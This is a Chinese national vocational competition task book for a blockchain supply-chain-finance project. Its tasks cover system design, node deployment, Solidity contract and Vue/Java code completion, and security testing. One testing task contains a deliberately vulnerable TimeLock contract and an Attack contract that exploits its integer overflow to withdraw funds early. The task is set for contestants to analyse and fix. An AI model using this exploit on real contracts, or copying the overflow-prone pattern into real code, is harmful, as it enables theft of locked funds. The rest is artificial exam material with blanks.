Bootstrap

2023年全国职业院校技能大赛 高职组“区块链技术应用”赛卷任务书②

2023年全国职业院校技能大赛 高职组“区块链技术应用”赛卷任务书②


背景描述

在供应链金融这个万亿级市场中,区块链正在快速商业化落地,助力产业革新。基于区块链的供应链金融业务的理念是:以源自企业的应收账款为底层资产,通过区块链技术实现债券凭证的转让拆分。其中,在原始资产上链时,通过对应收账款进行审核校验,确认贸易关系和身份真实有效,和保证上链资产的真实可信。再者,债权凭证可基于供应链进行层层拆分与流转,都可完整追溯到最底层资产,以实现核心企业和金融机构对供应商的“信用穿透”。
某公司规划开发一个区块链供应链金融平台,包括核心企业、供应商、银行等角色,通过智能合约代码逐步构建区块链供应链金融平台的基本功能,实现银行向核心企业提供授信并发行数字凭证,企业与企业之间转让数字凭证。此外需要完成区块链供应链金融平台的前后端,实现基本的业务逻辑。
在这里插入图片描述
在这里插入图片描述

模块一:区块链产品方案设计及系统运维(35分)

选手完成本模块的任务后,将任务中设计结果、运行代码、运行结果等截图粘贴至客户端桌面【区块链技术应用赛\重命名为工位号\模块一提交结果.docx】中对应的任务序号下。
任务1-1:区块链产品需求分析与方案设计(10分)
本环节需要依据项目背景完成需求分析与方案设计,具体要求如下:
1.依据给定供应链金融管理系统的业务架构图,对考题进行业务分析,尽可能全面的考虑一个业务系统所需要的模块,使用Visio或思维导图工具展现本系统的基本设计概念和处理流程,要求分为区块链供应链业务平台和支撑平台两个部分;(4分)
2.根据供应链系统设计,在系统中分别包括用户管理和凭证票据管理功能,在融资凭证上链过程中需要包括银行、核心企业、供应商公司的基本管理功能。根据描述,设计区块链系统的总体功能概览图。(3分)
3.整合上述设计内容,完善“供应链金融管理系统概要设计说明书.doc”,具体工作内容如下:
(1)将设计内容根据说明书中模块需求进行补充,并完善概要设计说明书中的“需求概要”。(1分)
(2)完善说明书中接口说明部分内容。(2分)
完成后提交“供应链金融管理系统概要设计说明书.doc”文档至【区块链技术应用赛\重命名为工位号】下

供应链金融管理系统概要设计说明书

1.引言
1.1编写目的
本概要说明书按照《需求规格说明书》的功能需求,设计本系统的软件结构,供后续软件过程(详细设计等)做依据,预期读者为后续软件过程的设计、开发人员。

  1. 总体设计
    2.1需求规定
    按照供应链金融系统的需求规定,用户可以通过本系统实现用户管理、凭证管理、银行信息管理、公司信息管理等功能。
    2.1.2输入输出要求
    参照需求文档的说明
    2.2运行环境
    本系统必须运行在局域网或互联网中
    2.2.1硬件设备
    Web服务器: 数量1台
    数据库服务器:数量1台
    客户端PC机:数量若干台,按需要增加
    2.2.2支持软件
    客户端
    服务器端
    后台数据库
    2.3基本设计概念和处理流程
    本系统软件部分可划分为浏览器页面、服务器端。用户通过浏览器访问相关页面,输入业务请求,发送到服务器端,调用业务系统接口处理后,把业务处理应答发送给客户端用户。
    系统框架图如下:

//将任务1-1第1小题结果复制至此;

2.4结构
2.4.1 总体框图
//将任务1-1第2小题结果复制至此;

2.4.2 功能模块接口及说明
由于在后续设计中,对各功能模块的每个子功能都要详细的加以描述,因此恰当的标识符将有助于文档的阅读和代码的编写。
命名规则:
1.数据库表名命名规则
由前缀和实际名字组成。前缀:使用小写字母tb,表示表。实际名字采用其英文缩写,且首字母要大写。
2.数据库表中字段命名规则
根据其中文名称直接翻译成英文,其首字母要大写;若为多个词的组合,则每个词的首字母都要大写。
3.模块标识符命名规则
应本着便于理解和尽量简洁的原则来命名标识符。在本系统中,各模块均以每个词英文的前几个字母来命名,模块下的子功能也以其英文简写来命名,且每个词首字母均为大写。
4.程序中变量命名规则
每个变量都要以其所在的模块的为前缀,该前缀可以是该模块标识符中大写字母的组合,前缀后面加下划线“”。后面的字母小写,并且不能包含JAVA的关键字,如果变量是两个单词组成,第二个单词的首字母要大写。
5.程序中函数命名规则
每个函数名都要以其所在的模块的为前缀,该前缀可以是该模块标识符中大写字母的组合,前缀后面加下划线“
”。首字母小写,多个单词的函数名,从第二个单词开始单词首字母大写。

//补充填写请求参数、相应参数内容
2.4.2.1 用户登录
1.功能描述

标识符login
功能用户登录接口
  1. 接口功能
    在这里插入图片描述
    2.4.2.2用户注册
  2. 功能描述
标识符register
功能用户注册接口
  1. 接口功能
    在这里插入图片描述
    3.系统出错处理设计
    3.1出错信息
    服务器端可能有Java的异常产生,可用Java中的异常处理方法try…catch处理 ,并记录日志,以备事后分析查找原因。
    3.2补救措施
    采用双服务器热备份的方法,一旦服务器崩溃,立即切换到另一台服务器运行。
    3.3系统维护设计
    保留本系统的一系列文档,加适当注释,以备维护者维护。每次修改/维护,都做记录。

任务1-2:区块链系统部署与运维(15分)
围绕供应链金融区块链平台部署与运维需求,进行项目相关系统、节点以及管理工具的部署工作。通过监控工具完成对网络、节点服务的监控。最终根据业务需求规范,完成系统日志、网络参数、节点服务等系统结构的维护。

  1. 根据参数与端口设置要求,部署区块链系统并验证;
  2. 根据参数与端口设置要求,部署区块链网络管理平台并验证;
  3. 基于区块链系统相关管理平台,按照任务指南实施系统运维工作并验证。
  4. 基于区块链系统相关监管工具,按照任务指南对区块链系统进行监管。
    子任务1-2-1: 搭建区块链系统并验证(4分)
    基于给定服务器环境以及软件(地址“/root/tools”),使用Docker以默认配置安装单机4节点的区块链系统,并完成控制台工具的部署:
    (1)完成系统搭建配置与启动。(1分)
    (2)使用基于Docker命令查看区块链系统状态。(1分)
    (3)检查区块链系统节点node0连接状态输出。(1分)
    (4)配置控制台,管理相关证书并启动。(1分)
    子任务1-2-2:区块链管理平台部署与验证(4分)
    基于给定服务器环境以及软件(地址“/root/tools”),按要求部署区块链管理平台,具体工作如下:
    (1)配置Mysql数据库(1分)
    (2)配置管理平台连接区块链系统(1分)
    (3)使用命令启动管理平台服务(1分)
    (4)验证管理平台启动情况(1分)
    子任务1-2-3:区块链系统节点运维(3分)
    基于已完成的区块链系统与管理平台搭建工作,开展相关节点运维工作:
    (1)生成新节点(node4),启动并检查(1分)
    (2)修改新节点配置,并查看节点的nodeid(1分)
    (3)将新节点作为观察节点加入group1当中,并检查是否加入成功(1分)
    子任务1-2-4:区块链系统管理平台运维(4分)
    基于已部署的区块链系统管理平台,进行系统相关运维工作:
    (1)基于管理平台功能页面,添加新主机(2分)
    (2)基于管理平台功能页面,修改新节点(node4)节点状态,并监控。(2分)
    任务1-3:区块链系统测试(10分)
    设计对区块链系统的测试流程;结合实际业务需求,调用部署的智能合约中进行系统测试、性能测试等;根据业务需求,分析并且修复给定智能合约中的安全漏洞。利用模拟业务和测试工具来完成对区块链系统服务数据的测试。
    1.基于区块链系统的中间件服务的部署脚本完成中间件服务环境搭建以及搭建结果验证,最后将执行结果截图保存。(3分)
    (1)实现区块链系统中间件服务平台部署。(1分)
    (2)实现区块链系统中间件服务签名功能启动情况验证。(1分)
    (3)区块链中间件服务节点管理进程启动情况验证和浏览器验证。(1分)
    2.智能合约安全漏洞测试。(7分)
    有如下智能合约:
pragma solidity ^0.7.6;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

如上代码主要实现功能为规定了转账冻结时间,在冻结时间内用户不能提取存款的金额。
(1)分析智能合约中存在问题,并说明危害。(2分)
(2)根据测试工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞。(3分)
(3)创建新的智能合约,修复其中问题,说明修复内容并测试。(2分)

模块二:智能合约开发与测试(30分)

选手完成本模块的任务后,将任务中设计结果、运行代码、运行结果等截图粘贴至客户端桌面【区块链技术应用赛\重命名为工位号\模块二提交结果.docx】中对应的任务序号下。
任务2-1:智能合约设计(5分)
根据区块链供应链金融应用需求分析和方案设计文档的描述,编写该区块链产品的智能合约功能需求文档,以及设计该智能合约UML图,具体要求如下:
1.编写区块链供应链金融智能合约功能需求文档(2分)
根据区块链供应链金融产品项目背景和需求分析,编写该区块链供应链金融产品的智能合约功能需求文档;
2.完成区块链供应链金融智能合约的设计图(3分)
设计区块链供应链金融智能合约接口,画出区块链供应链金融智能合约的角色UML用例图,以及画出区块链供应链金融各角色智能合约关系的时序图。
任务2-2:智能合约开发(20分)
使用Solidity语言完成智能合约开发、部署和调用,要求如下:
1.供应链金融实体信息编码(6分)
(1)编写供应链金融智能合约的实体接口,完成实体通用数据的初始化,实现企业和票据实体信息上链的功能;(2分)
表2.2.2.1 SupplyChain实体说明

*名称**类型**说明*
companyNamestring公司名称
companyAddressaddress公司地址
creditAssetuint信用资产
acceptReceiptIndexuint[]接收的凭证
sendReceiptIndexuint[]发送的凭证
senderAddressaddress发送票据的地址
accepterAddressaddress接收票据的地址
receiptTypeuint8凭证类型
transferTypeuint8交易类型
amountuint交易数量
//公司信息结构体
    struct Company {
        //①公司名称
        //②公司地址
        //③信用资产
        //④接收的凭证
        //⑤发送的凭证
    }

//数字发票收据信息
    struct Receipt {
        //⑥发送票据的地址
        //⑦接收票据的地址
        //⑧凭证类型
        //⑨交易类型
        //⑩交易数量
    }

(2)编写企业上链信息接口,实现供应链金融的企业信息上链;(2分)
function addCompany(string name, address companyAddress) returns(bool) {
        //①实例化公司
        //②添加公司地址
        //③将实例化的公司添加到公司映射
        //④返回添加成功标识
    }
(3)基于给定的智能合约代码以及注释,完成银行向企业交易的接口函数;(2分)
function bankToCompanyReceipt(address senderAddress, address accepterAddress, uint amount, uint8 receiptType) returns(uint) {
①判断接收地址存在
        ②实例化银行
        ③实例化公司

        if (keccak256(bank.bankName) == keccak256("")) {
            return 404001;
        }
        
        //确认公司存在
        if (keccak256(company.companyName) ==) {
            return 404002;
        }
        
        if (bank.creditAsset < amount) {
            return 500001;
        }

2.供应链金融公司与公司接口编码(6分)
(1)编写公司与公司之间进行交易的历史存证上链接口,实现公司与公司之间的交易功能;(2分)

function companyToCompanyReceipt(①, address accepterAddress, uint amount, uint8 receiptType) returns(uint) {
        
        //②接收地址判断
        Company memory senderCompany = companyMap[];
        Company memory ④ = companyMap[accepterAddress];
        //确认发送公司存在
        if (keccak256(senderCompany.⑤) == keccak256("")) {
            return 404001;
        }
        
        //确认接收公司存在
        if (keccak256(accepterCompany.companyName) ==) {
            return 404002;
        }
        
        //如果存证接收的公司资产小于存证数额,那么就不能交易发送存证
        if (accepterCompany.creditAsset ⑦ ⑧) {
            return 500001;
        }

(2)编写创建存证的接口,实现创建存证的功能;(2分)

Receipt memory newReceipt = Receipt(①, accepterAddress, receiptType, 2, amount);
        receiptIndex += 1;
        //记录存证(存证Map,公司Map对应地址的发送和接收存证列表)
        receiptMap[receiptIndex] =;
        companyMap[].sendReceiptIndex.push(receiptIndex);
        companyMap[accepterAddress].acceptReceiptIndex.push();

(3)编写交易金额数量变化的接口,实现凭证交易双方资金的变化功能;(2分)

companyMap[].creditAsset ② amount;
        companyMap[].creditAsset ④ amount;
        return 200;
    }

3.供应链金融公司与银行交易的接口编码(4分)
(1)编写公司与银行之间进行交易的历史存证上链接口,实现公司与银行之间的交易功能;(2分)

function companyToBankReceipt(address senderAddress, ①, uint amount, uint8 receiptType) returns(uint) {

        ②
        
        Bank memory bank = bankMap[senderAddress];
        Company memory accepterCompany = companyMap[];
        
        //确认发送公司存在
        if (keccak256(bank.bankName) ==) {
            return 404001;
        }
        
        //确认接收公司存在
        if (keccak256(accepterCompany.companyName) == keccak256("")) {
            return 404002;
        }
        
        //如果存证接收的公司资产小于存证数额,那么就不能交易发送存证
        if (accepterCompany.creditAsset < amount) {
            return 500001;
        }

(2)编写创建存证的接口,实现创建存证的功能;(1分)

//创建存证
        Receipt memory newReceipt = Receipt(senderAddress, accepterAddress, ①, 3, amount);
        receiptIndex ② 1;
        receiptMap[] = newReceipt;
        bankMap[senderAddress].sendReceiptIndex.push(receiptIndex);
        companyMap[accepterAddress].④;

(3)编写交易金额数量变化的接口,实现凭证交易双方资金的变化功能;(1分)

bankMap[senderAddress].① ② amount;
companyMap[accepterAddress].③ ④ amount;
        return 200;
}

4.合约编译、部署和调用(4分)
(1)解决代码错误和警告,正确编译并部署合约,成功获取部署的合约地址和abi。(1分)
(2)调用食品溯源智能合约的接口,完整验证业务流程。(3分)
任务2-3:智能合约测试(5分)
编写智能合约单元测试代码并完成合约功能测试、性能测试,具体要求如下:
1.配置区块链网络(1分)
启动区块链网络,创建新的Workspace,配置对外访问的RPC接口为7545,配置项目的配置文件config.js实现与新建Workspace的连接。
2.补充给定基础代码中注释提示的部署逻辑(1分)
基于VSCODE加载的测试项目,补全位于test文件夹中HelloWorld.js文件预操作的方法。在测试文件中添加预定义的方法(在其他方法启动前使用)。
3.补充代码中注释提示的测试逻辑(1分)
基于VSCODE加载的测试项目,补全位于test文件夹中HelloWorld.js文件,添加测试用例,测试智能合约的get方法。
4.测试hello.get()方法(1分)
基于VSCODE加载的测试项目,补全位于test文件夹中HelloWorld.js文件,添加测试用例,测试智能合约的hello.get()方法。
5.测试.should.equal进行对比判断(1分)
基于VSCODE加载的测试项目,补全位于test文件夹中HelloWorld.js文件,添加测试用例,测试智能合约的equal字符串比较方法。

模块三:区块链应用系统开发(30分)

选手完成本模块的任务后,将任务中设计结果、运行代码、运行结果等截图粘贴至客户端桌面【区块链技术应用赛\重命名为工位号\模块三提交结果.docx】中对应的任务序号下。
任务3-1:区块链应用前端功能开发(10分)
1.请基于前端系统的开发模板,在注册组件Register.vue文件中添加对应的注册逻辑代码,实现对后端系统的注册功能,并测试功能完整性(3分):
本题目的具体要求如下:
(1)界面有明确的注册相关提示语
(2)需要填写的部分有组织名称、区块链地址、组织类型
(3)页面需要有“返回”按钮,可以跳转到登录页面
(4)点击“注册”按钮时需要检查区块链地址是否已输入
(5)注册成功后跳转登录页面

Register.vue:
代码片段1:
<el-row>
        <el-col :span="16" :offset="4">
          <el-form label-width="100px">
            <h3>选手填写部分</h3>
            <el-form-item label="组织名称:">
              <el-input type="primary" v-model="选手填写部分"></el-input>
            </el-form-item>
            <el-form-item label="区块链地址:">
              <el-input type="primary" v-model="选手填写部分"></el-input>
            </el-form-item>
            <el-form-item label="组织类型:">
              <el-radio-group v-model="orgType">
              <el-radio :label="1">公司</el-radio>
              <el-radio :label="2">银行</el-radio>
              </el-radio-group>
            </el-form-item>
          </el-form>
        </el-col>
      </el-row>
      <el-row style="padding-bottom:20px">
        <el-button type="primary" 选手填写部分>注册</el-button>
        <el-button type="primary" 选手填写部分>返回</el-button>
      </el-row>
代码片段2:
register: function () {
      if (this.address == "") {
        alert(选手填写部分)
      }else {
        let postData = {
          orgType: 选手填写部分,
          username: 选手填写部分,
          address:选手填写部分
        }
// 和后端交互
        选手填写部分
      }
    },
代码片段3:
goback: function () {
      this.orgType = ''
      this.username =  ''
      this.address = ''
      选手填写部分
    }

2.请基于前端系统的开发模板,在登录组件Login.vue文件中添加对应的登录逻辑代码,实现对后端系统的登录功能,并测试功能完整性(3分):
本题目的具体要求如下:
(1)界面有明确的登录相关提示语
(2)需要填写的项有用户地址、组织类型
(3)页面需要有“注册”按钮,可以跳转注册页面
(4)点击“登录”按钮时需要检查各个表项是否已输入
(5)登录成功后跳转首页,路径为“/home”

Login.vue:
代码片段1:
<el-col :span="16" :offset="4">
          <el-form label-width="80px">
            <h1>供应链金融应用</h1>
            <h3>选手填写部分</h3>
            <el-form-item label="用户地址:">
              <el-input type="primary" v-model="选手填写部分"></el-input>
            </el-form-item>
            <el-form-item label="组织类型:">
              <el-radio-group v-model="选手填写部分">
              <el-radio :label="1">公司</el-radio>
              <el-radio :label="2">银行</el-radio>
              </el-radio-group>
            </el-form-item>
          </el-form>
        </el-col>

      </el-row>
      <el-row style="margin-bottom: 20px">
        <el-button type="primary" 选手填写部分>登录</el-button>
        <el-button type="primary" 选手填写部分>注册</el-button>
      </el-row>      </el-row>
代码片段2:
login: function () {
      if (this.address == "") {
        alert("选手填写部分")
      }else if (this.orgType == "") {
        alert("选手填写部分")
      }else {
        let postData = {
          orgType: 选手填写部分,
          address: 选手填写部分
        }
        // 与后端交互
选手填写部分
      }
},
代码片段3:
register: function () {
         选手填写部分
      },

3.请基于前端系统的开发模板,在公司组件Company.vue文件中添加对应的逻辑代码,实现对后端系统的公司相关业务功能,并测试功能完整性(2分):

Company.vue:
代码片段1:
<el-row>
            <el-col :span="20" :offset="2">
            <el-table :data="companyList" style="font-size: 20px">
              <el-table-column prop="address" label="账户地址"></el-table-column>
              <el-table-column prop="name" label="公司名称"></el-table-column>
              <el-table-column prop="amount" label="账户总额"></el-table-column>
              <el-table-column label="查看详情">
                <template slot-scope="scope">
                  <el-button type="primary" @click="选手填写部分">查询</el-button>
                </template>
              </el-table-column>
              <el-table-column prop="receiptType" label="转账">
                <template slot-scope="scope">
                  <el-button type="primary" @click="transfer(scope.row)">操作</el-button>
                </template>
              </el-table-column>
            </el-table>
          </el-col>
          </el-row>
          <el-row>
代码片段2:
<el-dialog title="公司详情" :visible.sync="dialogVisible">
        <el-form label-width="100px">
          <el-form-item label="账户地址:">
            {{选手填写部分 }}
          </el-form-item>
          <el-form-item label="公司名称:">
            {{ 选手填写部分 }}
          </el-form-item>
          <el-form-item label="账户总额:">
            {{ 选手填写部分 }}
          </el-form-item>
        </el-form>
代码片段3:
detail: function (queryAddress) {
      this.dialogVisible = true
      let address = 选手填写部分
      this.axios.get(`选手填写部分?address=${address}&queryAddress=${queryAddress}`)
          .then((response) => {
            console.log(response)
            if (response.data.code == 200) {
              let inAddress = response.data.data.companyVO.address;
              let inName = 选手填写部分;
              let inAmount = response.data.data.companyVO.amount;
              this.companyDetail = {
                address: 选手填写部分,
                name: 选手填写部分,
                amount: 选手填写部分,
                senderReceiptList: response.data.data.senderReceiptList,
                accepterReceiptList: response.data.data.accepterReceiptList
              }
            } else {
              alert(`请求内容有误, ${response.data.data}`)
            }
          })
    },

4.请基于前端系统的开发模板,在银行组件Bank.vue文件中添加对应的逻辑代码,实现对后端系统的银行相关业务功能,并测试功能完整性(2分):

Bank.vue:
代码片段1:
<el-row>
      <el-dialog title="交易(发送凭证)页" :visible.sync="transDialogVisible" width="30%">
        <el-form label-width="100px">
          <el-form-item label="发送账户地址:">
            {{选手填写部分}}
          </el-form-item>
          <el-form-item label="接收账户地址:">
            {{选手填写部分}}
          </el-form-item>
          <el-form-item label="交易额:">
            <el-col :span="16" :offset="4">
              <el-input type="primary" v-model="选手填写部分"></el-input>
            </el-col>
          </el-form-item>
          <el-form-item label="凭证类型:">
            <el-select v-model="选手填写部分" placeholder="请选择">
              <el-option
                  v-for="item in options"
                  :key="item.value"
                  :label="item.label"
                  :value="item.value">
              </el-option>
            </el-select>
          </el-form-item>
        </el-form>
        <el-row>
          <el-button type="primary" size="medium" @click="选手填写部分">确定</el-button>
        </el-row>
      </el-dialog>
    </el-row>
代码片段2:
executeTransaction: function() {
      let funcName = "companyToBankReceipt";
      if (this.transDetail.amount ==选手填写部分) {
        alert('交易额不能为空!')
        return
      }
      if (this.$cookies.get('orgType') == 选手填写部分) {
        alert('银行不能给银行发送凭证!')
        return
      }
      if (选手填写部分) {
        alert("凭证发送账户和接收账户不能相一致!")
        return
      }
      this.axios.post(`/finance/transaction/${funcName}`, 选手填写部分).then((response) => {
        if (response.data.code == 200) {
          alert('凭证发送成功')
          this.query()
          this.transDialogVisible = false
        }else {
          alert(`凭证发送失败, ${response.data.data}`)
        }
      })
    },

任务3-2:区块链应用后端功能开发(20分)
1.开发区块链供应链金融应用后端系统中用户功能模块对应的用户注册功能,根据前后代码补充最合适的代码,并测试功能完整性。(4分)

OrgServiceImpl.java:
 /**
     * 注册Service
     * RegisterBO registerBO
     * */
    @Override
    public Result<String> register(RegisterBO registerBO) {
        if (StrUtil.isEmpty(选手填写部分) ||
                StrUtil.isEmpty(选手填写部分) ||
                registerBO.getOrgType() == 选手填写部分
        ) {
            return Result.error(ResultVO.PARAM_EMPTY);
        }

        List funcParam = new ArrayList();
        funcParam.add(选手填写部分);
        funcParam.add(选手填写部分);
        if(registerBO.getOrgType() == 2){
            funcParam.add(BigInteger.valueOf(1000));
        }

        String funcName;
        if(registerBO.getOrgType() == 2){
            funcName =选手填写部分;
        }else{
            funcName =选手填写部分;
        }

        String _result = weBASEUtils.funcPost(OWNER_ADDRESS,funcName,funcParam);
        JSONObject _resultJson = JSONUtil.parseObj(_result);
        if (_resultJson.containsKey("statusOK") == false || _resultJson.getBool("statusOK") != true){ // _resultJson.getInt("code") > 0
            return Result.error(ResultVO.选手填写部分);
        }

        return Result.success("ok");
    }

2.开发区块链供应链金融应用中后端系统中用户功能模块对应的用户登录功能,根据前后代码补充最合适的代码,并测试功能完整性。(4分)

OrgServiceImpl.java:

/**
     * 登录Service
     * LoginBO loginBO
     **/
    @Override
    public Result<String> login(@RequestBody LoginBO loginBO) {
        if (StrUtil.isEmpty(loginBO.getAddress())
        ) {
            return Result.error(ResultVO.PARAM_EMPTY);
        }

        List funcParam = new ArrayList();
        funcParam.add(选手填写部分);

        String funcName;
        if(loginBO.getOrgType() == 2){
            funcName =选手填写部分;
        }else{
            funcName =选手填写部分;
        }

        String _result = weBASEUtils.funcPost(选手填写部分,funcName,funcParam);
        JSONArray _resultJson = JSONUtil.parseArray(_result);
        if (StrUtil.isEmpty(_resultJson.get(0).toString())){
            return Result.error(ResultVO.选手填写部分);
        }

        return Result.success("ok");
}

3.开发区块链供应链金融应用后端系统中查询功能模块对应的查询所有公司信息功能,根据前后代码补充最合适的代码,并测试功能完整性。(4分)

QueryServiceImpl.java:
/**
     * 获取所有公司数据,不包含存证详细信息
     * */
    @Override
    public Result listCompany(String userAddress){

        String _result = weBASEUtils.funcPost(userAddress,"getAllCompanyAddress",new ArrayList());

        try {
            JSONArray respArray = 选手填写部分;
            String a = respArray.get(0).toString();
            JSONArray addressArray = 选手填写部分;
            List<CompanyVO> companyList = new ArrayList<>();
            for(Object obj: addressArray) {
                CompanyVO companyVO = 选手填写部分;
                companyList.add(companyVO);
            }
            return Result.success(选手填写部分);
        }catch (Exception e) {
            ResultVO resultVO = ResultVO.CONTRACT_ERROR;
            resultVO.setData(选手填写部分);
            return Result.error(选手填写部分);
        }
}

4.开发区块链供应链金融应用的后端系统中查询功能模块对应的查询银行凭证列表功能根据前后代码补充最合适的代码,并测试功能完整性。(4分)

QueryServiceImpl.java:
/**
     * 获取包括银行详情,银行发送凭证列表,银行接收凭证列表
     * */
    @Override
    public Result getBankEntity(String userAddress, String queryAddress){
        BankVO bankVO = 选手填写部分;
        List<ReceiptVO> senderReceiptList = 选手填写部分;
        List<ReceiptVO> accepterReceiptList = 选手填写部分;
        BankEntityVO bankEntityVO = new BankEntityVO();
        bankEntityVO.setBankVO(选手填写部分);
        bankEntityVO.setSenderReceiptList(选手填写部分);
        bankEntityVO.setAccepterReceiptList(选手填写部分);
        return Result.success(bankEntityVO);
    }

5.开发区块链供应链金融应用的后端系统中交易功能模块对应的银行向公司交易凭证功能,根据前后代码补充最合适的代码,并测试功能完整性。(2分)

TransactionServiceImpl.java:
/**
     * 公司向银行发送凭证(银行转账给公司)
     * */
    public Result<String> bankToCompanyReceipt(TransactionBO transactionBO) {
        选手填写部分;
}

6.开发区块链供应链金融应用的后端系统中交易功能模块对应的公司向公司交易凭证功能,根据前后代码补充最合适的代码,并测试功能完整性。(2分)

TransactionServiceImpl.java:
 /**
     * 公司向公司的凭证发送
     * */
    public Result<String> companyToCompanyReceipt(TransactionBO transactionBO) {
        选手填写部分;
    }
;